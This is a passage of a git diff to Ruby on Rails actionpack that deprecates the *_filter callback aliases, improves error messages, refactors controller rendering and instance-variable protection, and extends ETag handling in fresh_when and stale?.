       # Append a callback before actions. See _insert_callbacks for parameter details.
-      # Aliased as append_before_filter.
 
       ##
       # :method: after_action
@@ -117,7 +128,6 @@ module AbstractController
       # :call-seq: after_action(names, block)
       #
       # Append a callback after actions. See _insert_callbacks for parameter details.
-      # Aliased as after_filter.
 
       ##
       # :method: prepend_after_action
@@ -125,7 +135,6 @@ module AbstractController
       # :call-seq: prepend_after_action(names, block)
       #
       # Prepend a callback after actions. See _insert_callbacks for parameter details.
-      # Aliased as prepend_after_filter.
 
       ##
       # :method: skip_after_action
@@ -133,7 +142,6 @@ module AbstractController
       # :call-seq: skip_after_action(names)
       #
       # Skip a callback after actions. See _insert_callbacks for parameter details.
-      # Aliased as skip_after_filter.
 
       ##
       # :method: append_after_action
@@ -141,7 +149,6 @@ module AbstractController
       # :call-seq: append_after_action(names, block)
       #
       # Append a callback after actions. See _insert_callbacks for parameter details.
-      # Aliased as append_after_filter.
 
       ##
       # :method: around_action
@@ -149,7 +156,6 @@ module AbstractController
       # :call-seq: around_action(names, block)
       #
       # Append a callback around actions. See _insert_callbacks for parameter details.
-      # Aliased as around_filter.
 
       ##
       # :method: prepend_around_action
@@ -157,7 +163,6 @@ module AbstractController
       # :call-seq: prepend_around_action(names, block)
       #
       # Prepend a callback around actions. See _insert_callbacks for parameter details.
-      # Aliased as prepend_around_filter.
 
       ##
       # :method: skip_around_action
@@ -165,7 +170,6 @@ module AbstractController
       # :call-seq: skip_around_action(names)
       #
       # Skip a callback around actions. See _insert_callbacks for parameter details.
-      # Aliased as skip_around_filter.
 
       ##
       # :method: append_around_action
@@ -173,46 +177,52 @@ module AbstractController
       # :call-seq: append_around_action(names, block)
       #
       # Append a callback around actions. See _insert_callbacks for parameter details.
-      # Aliased as append_around_filter.
 
       # set up before_action, prepend_before_action, skip_before_action, etc.
       # for each of before, after, and around.
       [:before, :after, :around].each do |callback|
-        class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-          # Append a before, after or around callback. See _insert_callbacks
-          # for details on the allowed parameters.
-          def #{callback}_action(*names, &blk)                                                    # def before_action(*names, &blk)
-            _insert_callbacks(names, blk) do |name, options|                                      #   _insert_callbacks(names, blk) do |name, options|
-              set_callback(:process_action, :#{callback}, name, options)                          #     set_callback(:process_action, :before, name, options)
-            end                                                                                   #   end
-          end                                                                                     # end
-
-          alias_method :#{callback}_filter, :#{callback}_action
-
-          # Prepend a before, after or around callback. See _insert_callbacks
-          # for details on the allowed parameters.
-          def prepend_#{callback}_action(*names, &blk)                                            # def prepend_before_action(*names, &blk)
-            _insert_callbacks(names, blk) do |name, options|                                      #   _insert_callbacks(names, blk) do |name, options|
-              set_callback(:process_action, :#{callback}, name, options.merge(:prepend => true))  #     set_callback(:process_action, :before, name, options.merge(:prepend => true))
-            end                                                                                   #   end
-          end                                                                                     # end
-
-          alias_method :prepend_#{callback}_filter, :prepend_#{callback}_action
-
-          # Skip a before, after or around callback. See _insert_callbacks
-          # for details on the allowed parameters.
-          def skip_#{callback}_action(*names)                                                     # def skip_before_action(*names)
-            _insert_callbacks(names) do |name, options|                                           #   _insert_callbacks(names) do |name, options|
-              skip_callback(:process_action, :#{callback}, name, options)                         #     skip_callback(:process_action, :before, name, options)
-            end                                                                                   #   end
-          end                                                                                     # end
-
-          alias_method :skip_#{callback}_filter, :skip_#{callback}_action
-
-          # *_action is the same as append_*_action
-          alias_method :append_#{callback}_action, :#{callback}_action  # alias_method :append_before_action, :before_action
-          alias_method :append_#{callback}_filter, :#{callback}_action  # alias_method :append_before_filter, :before_action
-        RUBY_EVAL
+        define_method "#{callback}_action" do |*names, &blk|
+          _insert_callbacks(names, blk) do |name, options|
+            set_callback(:process_action, callback, name, options)
+          end
+        end
+
+        define_method "#{callback}_filter" do |*names, &blk|
+          ActiveSupport::Deprecation.warn("#{callback}_filter is deprecated and will be removed in Rails 5.1. Use #{callback}_action instead.")
+          send("#{callback}_action", *names, &blk)
+        end
+
+        define_method "prepend_#{callback}_action" do |*names, &blk|
+          _insert_callbacks(names, blk) do |name, options|
+            set_callback(:process_action, callback, name, options.merge(:prepend => true))
+          end
+        end
+
+        define_method "prepend_#{callback}_filter" do |*names, &blk|
+          ActiveSupport::Deprecation.warn("prepend_#{callback}_filter is deprecated and will be removed in Rails 5.1. Use prepend_#{callback}_action instead.")
+          send("prepend_#{callback}_action", *names, &blk)
+        end
+
+        # Skip a before, after or around callback. See _insert_callbacks
+        # for details on the allowed parameters.
+        define_method "skip_#{callback}_action" do |*names|
+          _insert_callbacks(names) do |name, options|
+            skip_callback(:process_action, callback, name, options)
+          end
+        end
+
+        define_method "skip_#{callback}_filter" do |*names, &blk|
+          ActiveSupport::Deprecation.warn("skip_#{callback}_filter is deprecated and will be removed in Rails 5.1. Use skip_#{callback}_action instead.")
+          send("skip_#{callback}_action", *names, &blk)
+        end
+
+        # *_action is the same as append_*_action
+        alias_method :"append_#{callback}_action", :"#{callback}_action"
+
+        define_method "append_#{callback}_filter" do |*names, &blk|
+          ActiveSupport::Deprecation.warn("append_#{callback}_filter is deprecated and will be removed in Rails 5.1. Use append_#{callback}_action instead.")
+          send("append_#{callback}_action", *names, &blk)
+        end
       end
     end
   end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 09b9e7ddf0..ddd56b354a 100644
--- a/actionpack/lib/abstract_controller/collector.rb
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -23,7 +23,17 @@ module AbstractController
   protected
 
     def method_missing(symbol, &block)
-      mime_constant = Mime.const_get(symbol.upcase)
+      const_name = symbol.upcase
+
+      unless Mime.const_defined?(const_name)
+        raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
+          "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+          "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
+          "be sure to nest your variant response within a format response: " \
+          "format.html { |html| html.tablet { ... } }"
+      end
+
+      mime_constant = Mime.const_get(const_name)
 
       if Mime::SET.include?(mime_constant)
         AbstractController::Collector.generate_method_for_mime(mime_constant)
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
index e77e4e01e9..109eff10eb 100644
--- a/actionpack/lib/abstract_controller/helpers.rb
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -27,9 +27,6 @@ module AbstractController
     end
 
     module ClassMethods
-      MissingHelperError = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('AbstractController::Helpers::ClassMethods::MissingHelperError',
-                                                                                   'AbstractController::Helpers::MissingHelperError')
-
       # When a class is inherited, wrap its helper module in a new module.
       # This ensures that the parent class's module can be changed
       # independently of the child class's.
@@ -153,7 +150,17 @@ module AbstractController
             rescue LoadError => e
               raise AbstractController::Helpers::MissingHelperError.new(e, file_name)
             end
-            file_name.camelize.constantize
+
+            mod_name = file_name.camelize
+            begin
+              mod_name.constantize
+            rescue LoadError
+              # dependencies.rb gives a similar error message but its wording is
+              # not as clear because it mentions autoloading. To the user all it
+              # matters is that a helper module couldn't be loaded, autoloading
+              # is an internal mechanism that should not leak.
+              raise NameError, "Couldn't find #{mod_name}, expected it to be defined in helpers/#{file_name}.rb"
+            end
           when Module
             arg
           else
@@ -177,7 +184,7 @@ module AbstractController
         module_name = name.sub(/Controller$/, '')
         module_path = module_name.underscore
         helper module_path
-      rescue MissingSourceFile => e
+      rescue LoadError => e
         raise e unless e.is_missing? "helpers/#{module_path}_helper"
       rescue NameError => e
         raise e unless e.missing_name? "#{module_name}Helper"
diff --git a/actionpack/lib/abstract_controller/railties/routes_helpers.rb b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
index 6684f46f64..14b574e322 100644
--- a/actionpack/lib/abstract_controller/railties/routes_helpers.rb
+++ b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
@@ -1,14 +1,14 @@
 module AbstractController
   module Railties
     module RoutesHelpers
-      def self.with(routes)
+      def self.with(routes, include_path_helpers = true)
         Module.new do
           define_method(:inherited) do |klass|
             super(klass)
             if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
-              klass.send(:include, namespace.railtie_routes_url_helpers)
+              klass.include(namespace.railtie_routes_url_helpers(include_path_helpers))
             else
-              klass.send(:include, routes.url_helpers)
+              klass.include(routes.url_helpers(include_path_helpers))
             end
           end
         end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index 41f19fba78..5514213ad8 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -1,5 +1,8 @@
 require 'active_support/concern'
 require 'active_support/core_ext/class/attribute'
+require 'action_view'
+require 'action_view/view_paths'
+require 'set'
 
 module AbstractController
   class DoubleRenderError < Error
@@ -12,57 +15,74 @@ module AbstractController
 
   module Rendering
     extend ActiveSupport::Concern
+    include ActionView::ViewPaths
 
-    def self.default_protected_instance_vars
-      super.concat [:@_action_name, :@_response_body, :@_formats, :@_prefixes, :@_config]
+    # Normalizes arguments, options and then delegates render_to_body and
+    # sticks the result in <tt>self.response_body</tt>.
+    # :api: public
+    def render(*args, &block)
+      options = _normalize_render(*args, &block)
+      self.response_body = render_to_body(options)
+      _process_format(rendered_format, options) if rendered_format
+      self.response_body
     end
 
     # Raw rendering of a template to a string.
     #
     # It is similar to render, except that it does not
-    # set the response_body and it should be guaranteed
+    # set the +response_body+ and it should be guaranteed
     # to always return a string.
     #
-    # If a component extends the semantics of response_body
-    # (as Action Controller extends it to be anything that
+    # If a component extends the semantics of +response_body+
+    # (as ActionController extends it to be anything that
     # responds to the method each), this method needs to be
     # overridden in order to still return a string.
     # :api: plugin
     def render_to_string(*args, &block)
+      options = _normalize_render(*args, &block)
+      render_to_body(options)
     end
 
-    # Raw rendering of a template.
-    # :api: plugin
-    def render_to_body(options = {})
-    end
-
-    # Normalize arguments, options and then delegates render_to_body and
-    # sticks the result in self.response_body.
+    # Performs the actual template rendering.
     # :api: public
-    def render(*args, &block)
+    def render_to_body(options = {})
     end
 
-    # Return Content-Type of rendered content
+    # Returns Content-Type of rendered content
     # :api: public
     def rendered_format
+      Mime::TEXT
     end
 
+    DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %w(
+      @_action_name @_response_body @_formats @_prefixes @_config
+      @_view_context_class @_view_renderer @_lookup_context
+      @_routes @_db_runtime
+    ).map(&:to_sym)
+
     # This method should return a hash with assigns.
     # You can overwrite this configuration per controller.
     # :api: public
     def view_assigns
-      hash = {}
-      (instance_variables - self.class.default_protected_instance_vars).each do |name|
-        hash[name[1..-1]] = instance_variable_get(name)
-      end
-      hash
+      protected_vars = _protected_ivars
+      variables      = instance_variables
+
+      variables.reject! { |s| protected_vars.include? s }
+      variables.each_with_object({}) { |name, hash|
+        hash[name.slice(1, name.length)] = instance_variable_get(name)
+      }
     end
 
-    # Normalize args by converting render "foo" to render :action => "foo" and
-    # render "foo/bar" to render :file => "foo/bar".
+    # Normalize args by converting <tt>render "foo"</tt> to
+    # <tt>render :action => "foo"</tt> and <tt>render "foo/bar"</tt> to
+    # <tt>render :file => "foo/bar"</tt>.
     # :api: plugin
     def _normalize_args(action=nil, options={})
-      options
+      if action.is_a? Hash
+        action
+      else
+        options
+      end
     end
 
     # Normalize options.
@@ -76,5 +96,26 @@ module AbstractController
     def _process_options(options)
       options
     end
+
+    # Process the rendered format.
+    # :api: private
+    def _process_format(format, options = {})
+    end
+
+    # Normalize args and options.
+    # :api: private
+    def _normalize_render(*args, &block)
+      options = _normalize_args(*args, &block)
+      #TODO: remove defined? when we restore AP <=> AV dependency
+      if defined?(request) && request && request.variant.present?
+        options[:variant] = request.variant
+      end
+      _normalize_options(options)
+      options
+    end
+
+    def _protected_ivars # :nodoc:
+      DEFAULT_PROTECTED_INSTANCE_VARIABLES
+    end
   end
 end
diff --git a/actionpack/lib/abstract_controller/url_for.rb b/actionpack/lib/abstract_controller/url_for.rb
index 4a95e1f276..72d07b0927 100644
--- a/actionpack/lib/abstract_controller/url_for.rb
+++ b/actionpack/lib/abstract_controller/url_for.rb
@@ -11,7 +11,7 @@ module AbstractController
 
     def _routes
       raise "In order to use #url_for, you must include routing helpers explicitly. " \
-            "For instance, `include Rails.application.routes.url_helpers"
+            "For instance, `include Rails.application.routes.url_helpers`."
     end
 
     module ClassMethods
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index d6b1908ccb..7667e469d3 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -11,18 +11,18 @@ module ActionController
   autoload :Caching
   autoload :Metal
   autoload :Middleware
+  autoload :Renderer
 
   autoload_under "metal" do
-    autoload :BasicRendering, 'action_controller/metal/rendering'
     autoload :Compatibility
     autoload :ConditionalGet
     autoload :Cookies
     autoload :DataStreaming
+    autoload :EtagWithTemplateDigest
     autoload :Flash
     autoload :ForceSSL
     autoload :Head
     autoload :Helpers
-    autoload :HideActions
     autoload :HttpAuthentication
     autoload :ImplicitRender
     autoload :Instrumentation
@@ -34,7 +34,6 @@ module ActionController
     autoload :Rendering
     autoload :RequestForgeryProtection
     autoload :Rescue
-    autoload :Responder
     autoload :Streaming
     autoload :StrongParameters
     autoload :Testing
@@ -51,7 +50,7 @@ module ActionController
 end
 
 # Common Active Support usage in Action Controller
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/load_error'
 require 'active_support/core_ext/module/attr_internal'
 require 'active_support/core_ext/name_error'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index a00eafc9ed..e6038396f9 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -1,22 +1,8 @@
+require 'action_view'
 require "action_controller/log_subscriber"
 require "action_controller/metal/params_wrapper"
 
 module ActionController
-  # The <tt>metal</tt> anonymous class was introduced to solve issue with including modules in <tt>ActionController::Base</tt>.
-  # Modules needes to be included in particluar order. First wee need to have <tt>AbstractController::Rendering</tt> included,
-  # next we should include actuall implementation which would be for example <tt>ActionView::Rendering</tt> and after that
-  # <tt>ActionController::Rendering</tt>. This order must be preserved and as we want to have middle module included dynamicaly
-  # <tt>metal</tt> class was introduced. It has <tt>AbstractController::Rendering</tt> included and is parent class of
-  # <tt>ActionController::Base</tt> which includes <tt>ActionController::Rendering</tt>. If we include <tt>ActionView::Rendering</tt>
-  # beetween them to perserve the required order, we can simply do this by:
-  #
-  #   ActionController::Base.superclass.send(:include, ActionView::Rendering)
-  #
-  metal = Class.new(Metal) do
-    include AbstractController::Rendering
-    include ActionController::BasicRendering
-  end
-
   # Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
   # on request and then either it renders a template or redirects to another action. An action is defined as a public method
   # on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
@@ -58,8 +44,8 @@ module ActionController
   # The full request object is available via the request accessor and is primarily used to query for HTTP headers:
   #
   #   def server_ip
-  #     location = request.env["SERVER_ADDR"]
-  #     render text: "This server hosted at #{location}"
+  #     location = request.env["REMOTE_ADDR"]
+  #     render plain: "This server hosted at #{location}"
   #   end
   #
   # == Parameters
@@ -74,7 +60,7 @@ module ActionController
   #   <input type="text" name="post[address]" value="hyacintvej">
   #
   # A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
-  # If the address input had been named "post[address][street]", the params would have included
+  # If the address input had been named <tt>post[address][street]</tt>, the params would have included
   # <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
   #
   # == Sessions
@@ -100,7 +86,7 @@ module ActionController
   # or you can remove the entire session with +reset_session+.
   #
   # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
-  # This prevents the user from tampering with the session but also allows him to see its contents.
+  # This prevents the user from tampering with the session but also allows them to see its contents.
   #
   # Do not put secret information in cookie-based sessions!
   #
@@ -175,7 +161,7 @@ module ActionController
   #     render action: "overthere" # won't be called if monkeys is nil
   #   end
   #
-  class Base < metal
+  class Base < Metal
     abstract!
 
     # We document the request and response methods here because albeit they are
@@ -215,16 +201,18 @@ module ActionController
     end
 
     MODULES = [
+      AbstractController::Rendering,
       AbstractController::Translation,
       AbstractController::AssetPaths,
 
       Helpers,
-      HideActions,
       UrlFor,
       Redirecting,
+      ActionView::Layouts,
       Rendering,
       Renderers::All,
       ConditionalGet,
+      EtagWithTemplateDigest,
       RackDelegation,
       Caching,
       MimeResponds,
@@ -261,11 +249,17 @@ module ActionController
       include mod
     end
 
-    def self.default_protected_instance_vars
-      super.concat [
-        :@_status, :@_headers, :@_params, :@_env, :@_response, :@_request,
-        :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout
-      ]
+    # Define some internal variables that should not be propagated to the view.
+    PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [
+      :@_status, :@_headers, :@_params, :@_env, :@_response, :@_request,
+      :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout ]
+
+    def _protected_ivars # :nodoc:
+      PROTECTED_IVARS
+    end
+
+    def self.protected_instance_variables
+      PROTECTED_IVARS
     end
 
     ActiveSupport.run_load_hooks(:action_controller, self)
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index 12d798d0c1..de85e0c1a7 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -16,7 +16,7 @@ module ActionController
   # All the caching stores from ActiveSupport::Cache are available to be used as backends
   # for Action Controller caching.
   #
-  # Configuration examples (MemoryStore is the default):
+  # Configuration examples (FileStore is the default):
   #
   #   config.action_controller.cache_store = :memory_store
   #   config.action_controller.cache_store = :file_store, '/path/to/cache/directory'
diff --git a/actionpack/lib/action_controller/caching/fragments.rb b/actionpack/lib/action_controller/caching/fragments.rb
index 879d5fdd94..2694d4c12f 100644
--- a/actionpack/lib/action_controller/caching/fragments.rb
+++ b/actionpack/lib/action_controller/caching/fragments.rb
@@ -90,7 +90,13 @@ module ActionController
       end
 
       def instrument_fragment_cache(name, key) # :nodoc:
-        ActiveSupport::Notifications.instrument("#{name}.action_controller", :key => key){ yield }
+        payload = {
+          controller: controller_name,
+          action: action_name,
+          key: key
+        }
+
+        ActiveSupport::Notifications.instrument("#{name}.action_controller", payload) { yield }
       end
     end
   end
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index 9279d8bcea..87609d8aa7 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -1,4 +1,3 @@
-
 module ActionController
   class LogSubscriber < ActiveSupport::LogSubscriber
     INTERNAL_PARAMS = %w(controller action format _method only_path)
@@ -16,41 +15,42 @@ module ActionController
     end
 
     def process_action(event)
-      return unless logger.info?
-
-      payload   = event.payload
-      additions = ActionController::Base.log_process_action(payload)
-
-      status = payload[:status]
-      if status.nil? && payload[:exception].present?
-        exception_class_name = payload[:exception].first
-        status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+      info do
+        payload   = event.payload
+        additions = ActionController::Base.log_process_action(payload)
+
+        status = payload[:status]
+        if status.nil? && payload[:exception].present?
+          exception_class_name = payload[:exception].first
+          status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+        end
+        message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms"
+        message << " (#{additions.join(" | ")})" unless additions.blank?
+        message
       end
-      message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms"
-      message << " (#{additions.join(" | ")})" unless additions.blank?
-
-      info(message)
     end
 
     def halted_callback(event)
-      info("Filter chain halted as #{event.payload[:filter].inspect} rendered or redirected")
+      info { "Filter chain halted as #{event.payload[:filter].inspect} rendered or redirected" }
     end
 
     def send_file(event)
-      info("Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)")
+      info { "Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)" }
     end
 
     def redirect_to(event)
-      info("Redirected to #{event.payload[:location]}")
+      info { "Redirected to #{event.payload[:location]}" }
     end
 
     def send_data(event)
-      info("Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)")
+      info { "Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)" }
     end
 
     def unpermitted_parameters(event)
-      unpermitted_keys = event.payload[:keys]
-      debug("Unpermitted parameters: #{unpermitted_keys.join(", ")}")
+      debug do
+        unpermitted_keys = event.payload[:keys]
+        "Unpermitted parameter#{'s' if unpermitted_keys.size > 1}: #{unpermitted_keys.join(", ")}"
+      end
     end
 
     %w(write_fragment read_fragment exist_fragment?
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index b84c9e78c3..ae111e4951 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -30,10 +30,8 @@ module ActionController
       end
     end
 
-    def build(action, app=nil, &block)
-      app  ||= block
+    def build(action, app = Proc.new)
       action = action.to_s
-      raise "MiddlewareStack#build requires an app" unless app
 
       middlewares.reverse.inject(app) do |a, middleware|
         middleware.valid?(action) ? middleware.build(a) : a
@@ -70,7 +68,8 @@ module ActionController
   # can do the following:
   #
   #   class HelloController < ActionController::Metal
-  #     include ActionController::Rendering
+  #     include AbstractController::Rendering
+  #     include ActionView::Layouts
   #     append_view_path "#{Rails.root}/app/views"
   #
   #     def index
@@ -166,7 +165,7 @@ module ActionController
       headers["Location"] = url
     end
 
-    # basic url_for that can be overridden for more robust functionality
+    # Basic url_for that can be overridden for more robust functionality
     def url_for(string)
       string
     end
@@ -174,6 +173,7 @@ module ActionController
     def status
       @_status
     end
+    alias :response_code :status # :nodoc:
 
     def status=(status)
       @_status = Rack::Utils.status_code(status)
@@ -184,16 +184,21 @@ module ActionController
       super
     end
 
+    # Tests if render or redirect has already happened.
     def performed?
       response_body || (response && response.committed?)
     end
 
     def dispatch(name, request) #:nodoc:
+      set_request!(request)
+      process(name)
+      to_a
+    end
+
+    def set_request!(request) #:nodoc:
       @_request = request
       @_env = request.env
       @_env['action_controller.instance'] = self
-      process(name)
-      to_a
     end
 
     def to_a #:nodoc:
@@ -222,13 +227,18 @@ module ActionController
     # Makes the controller a Rack endpoint that runs the action in the given
     # +env+'s +action_dispatch.request.path_parameters+ key.
     def self.call(env)
-      action(env['action_dispatch.request.path_parameters'][:action]).call(env)
+      req = ActionDispatch::Request.new env
+      action(req.path_parameters[:action]).call(env)
     end
 
     # Returns a Rack endpoint for the given action name.
     def self.action(name, klass = ActionDispatch::Request)
-      middleware_stack.build(name.to_s) do |env|
-        new.dispatch(name, klass.new(env))
+      if middleware_stack.any?
+        middleware_stack.build(name) do |env|
+          new.dispatch(name, klass.new(env))
+        end
+      else
+        lambda { |env| new.dispatch(name, klass.new(env)) }
       end
     end
   end
diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb
index 6e0cd51d8b..28f0b6e349 100644
--- a/actionpack/lib/action_controller/metal/conditional_get.rb
+++ b/actionpack/lib/action_controller/metal/conditional_get.rb
@@ -13,9 +13,9 @@ module ActionController
     end
 
     module ClassMethods
-      # Allows you to consider additional controller-wide information when generating an etag.
+      # Allows you to consider additional controller-wide information when generating an ETag.
       # For example, if you serve pages tailored depending on who's logged in at the moment, you
-      # may want to add the current user id to be part of the etag to prevent authorized displaying
+      # may want to add the current user id to be part of the ETag to prevent authorized displaying
       # of cached pages.
       #
       #   class InvoicesController < ApplicationController
@@ -32,7 +32,7 @@ module ActionController
       end
     end
 
-    # Sets the etag, +last_modified+, or both on the response and renders a
+    # Sets the +etag+, +last_modified+, or both on the response and renders a
     # <tt>304 Not Modified</tt> response if the request is already fresh.
     #
     # === Parameters:
@@ -41,43 +41,62 @@ module ActionController
     # * <tt>:last_modified</tt>.
     # * <tt>:public</tt> By default the Cache-Control header is private, set this to
     #   +true+ if you want your application to be cachable by other devices (proxy caches).
+    # * <tt>:template</tt> By default, the template digest for the current
+    #   controller/action is included in ETags. If the action renders a
+    #   different template, you can include its digest instead. If the action
+    #   doesn't render a template at all, you can pass <tt>template: false</tt>
+    #   to skip any attempt to check for a template digest.
     #
     # === Example:
     #
     #   def show
     #     @article = Article.find(params[:id])
-    #     fresh_when(etag: @article, last_modified: @article.created_at, public: true)
+    #     fresh_when(etag: @article, last_modified: @article.updated_at, public: true)
     #   end
     #
-    # This will render the show template if the request isn't sending a matching etag or
+    # This will render the show template if the request isn't sending a matching ETag or
     # If-Modified-Since header and just a <tt>304 Not Modified</tt> response if there's a match.
     #
-    # You can also just pass a record where +last_modified+ will be set by calling
-    # +updated_at+ and the etag by passing the object itself.
+    # You can also just pass a record. In this case +last_modified+ will be set
+    # by calling +updated_at+ and +etag+ by passing the object itself.
     #
     #   def show
     #     @article = Article.find(params[:id])
     #     fresh_when(@article)
     #   end
     #
-    # When passing a record, you can still set whether the public header:
+    # You can also pass an object that responds to +maximum+, such as a
+    # collection of active records. In this case +last_modified+ will be set by
+    # calling +maximum(:updated_at)+ on the collection (the timestamp of the
+    # most recently updated record) and the +etag+ by passing the object itself.
+    #
+    #   def index
+    #     @articles = Article.all
+    #     fresh_when(@articles)
+    #   end
+    #
+    # When passing a record or a collection, you can still set the public header:
     #
     #   def show
     #     @article = Article.find(params[:id])
     #     fresh_when(@article, public: true)
     #   end
-    def fresh_when(record_or_options, additional_options = {})
-      if record_or_options.is_a? Hash
-        options = record_or_options
-        options.assert_valid_keys(:etag, :last_modified, :public)
-      else
-        record  = record_or_options
-        options = { etag: record, last_modified: record.try(:updated_at) }.merge!(additional_options)
+    #
+    # When rendering a different template than the default controller/action
+    # style, you can indicate which digest to include in the ETag:
+    #
+    #   before_action { fresh_when @article, template: 'widgets/show' }
+    #
+    def fresh_when(object = nil, etag: object, last_modified: nil, public: false, template: nil)
+      last_modified ||= object.try(:updated_at) || object.try(:maximum, :updated_at)
+
+      if etag || template
+        response.etag = combine_etags(etag: etag, last_modified: last_modified,
+          public: public, template: template)
       end
 
-      response.etag          = combine_etags(options[:etag]) if options[:etag]
-      response.last_modified = options[:last_modified]       if options[:last_modified]
-      response.cache_control[:public] = true                 if options[:public]
+      response.last_modified = last_modified if last_modified
+      response.cache_control[:public] = true if public
 
       head :not_modified if request.fresh?(response)
     end
@@ -93,13 +112,18 @@ module ActionController
     # * <tt>:last_modified</tt>.
     # * <tt>:public</tt> By default the Cache-Control header is private, set this to
     #   +true+ if you want your application to be cachable by other devices (proxy caches).
+    # * <tt>:template</tt> By default, the template digest for the current
+    #   controller/action is included in ETags. If the action renders a
+    #   different template, you can include its digest instead. If the action
+    #   doesn't render a template at all, you can pass <tt>template: false</tt>
+    #   to skip any attempt to check for a template digest.
     #
     # === Example:
     #
     #   def show
     #     @article = Article.find(params[:id])
     #
-    #     if stale?(etag: @article, last_modified: @article.created_at)
+    #     if stale?(etag: @article, last_modified: @article.updated_at)
     #       @statistics = @article.really_expensive_call
     #       respond_to do |format|
     #         # all the supported formats
@@ -107,8 +131,8 @@ module ActionController
     #     end
     #   end
     #
-    # You can also just pass a record where +last_modified+ will be set by calling
-    # updated_at and the etag by passing the object itself.
+    # You can also just pass a record. In this case +last_modified+ will be set
+    # by calling +updated_at+ and +etag+ by passing the object itself.
     #
     #   def show
     #     @article = Article.find(params[:id])
@@ -121,7 +145,23 @@ module ActionController
     #     end
     #   end
     #
-    # When passing a record, you can still set whether the public header:
+    # You can also pass an object that responds to +maximum+, such as a
+    # collection of active records. In this case +last_modified+ will be set by
+    # calling +maximum(:updated_at)+ on the collection (the timestamp of the
+    # most recently updated record) and the +etag+ by passing the object itself.
+    #
+    #   def index
+    #     @articles = Article.all
+    #
+    #     if stale?(@articles)
+    #       @statistics = @articles.really_expensive_call
+    #       respond_to do |format|
+    #         # all the supported formats
+    #       end
+    #     end
+    #   end
+    #
+    # When passing a record or a collection, you can still set the public header:
     #
     #   def show
     #     @article = Article.find(params[:id])
@@ -133,8 +173,16 @@ module ActionController
     #       end
     #     end
     #   end
-    def stale?(record_or_options, additional_options = {})
-      fresh_when(record_or_options, additional_options)
+    #
+    # When rendering a different template than the default controller/action
+    # style, you can indicate which digest to include in the ETag:
+    #
+    #   def show
+    #     super if stale? @article, template: 'widgets/show'
+    #   end
+    #
+    def stale?(object = nil, etag: object, last_modified: nil, public: nil, template: nil)
+      fresh_when(object, etag: etag, last_modified: last_modified, public: public, template: template)
       !request.fresh?(response)
     end
 
@@ -168,8 +216,9 @@ module ActionController
     end
 
     private
-      def combine_etags(etag)
-        [ etag, *etaggers.map { |etagger| instance_exec(&etagger) }.compact ]
+      def combine_etags(options)
+        etags = etaggers.map { |etagger| instance_exec(options, &etagger) }.compact
+        etags.unshift options[:etag]
       end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
index 75c4d3ef99..1abd8d3a33 100644
--- a/actionpack/lib/action_controller/metal/data_streaming.rb
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -96,7 +96,7 @@ module ActionController #:nodoc:
       end
 
       # Sends the given binary data to the browser. This method is similar to
-      # <tt>render text: data</tt>, but also allows you to specify whether
+      # <tt>render plain: data</tt>, but also allows you to specify whether
       # the browser should display the response as a file attachment (i.e. in a
       # download dialog) or as inline data. You may also set the content type,
       # the apparent file name, and other things.
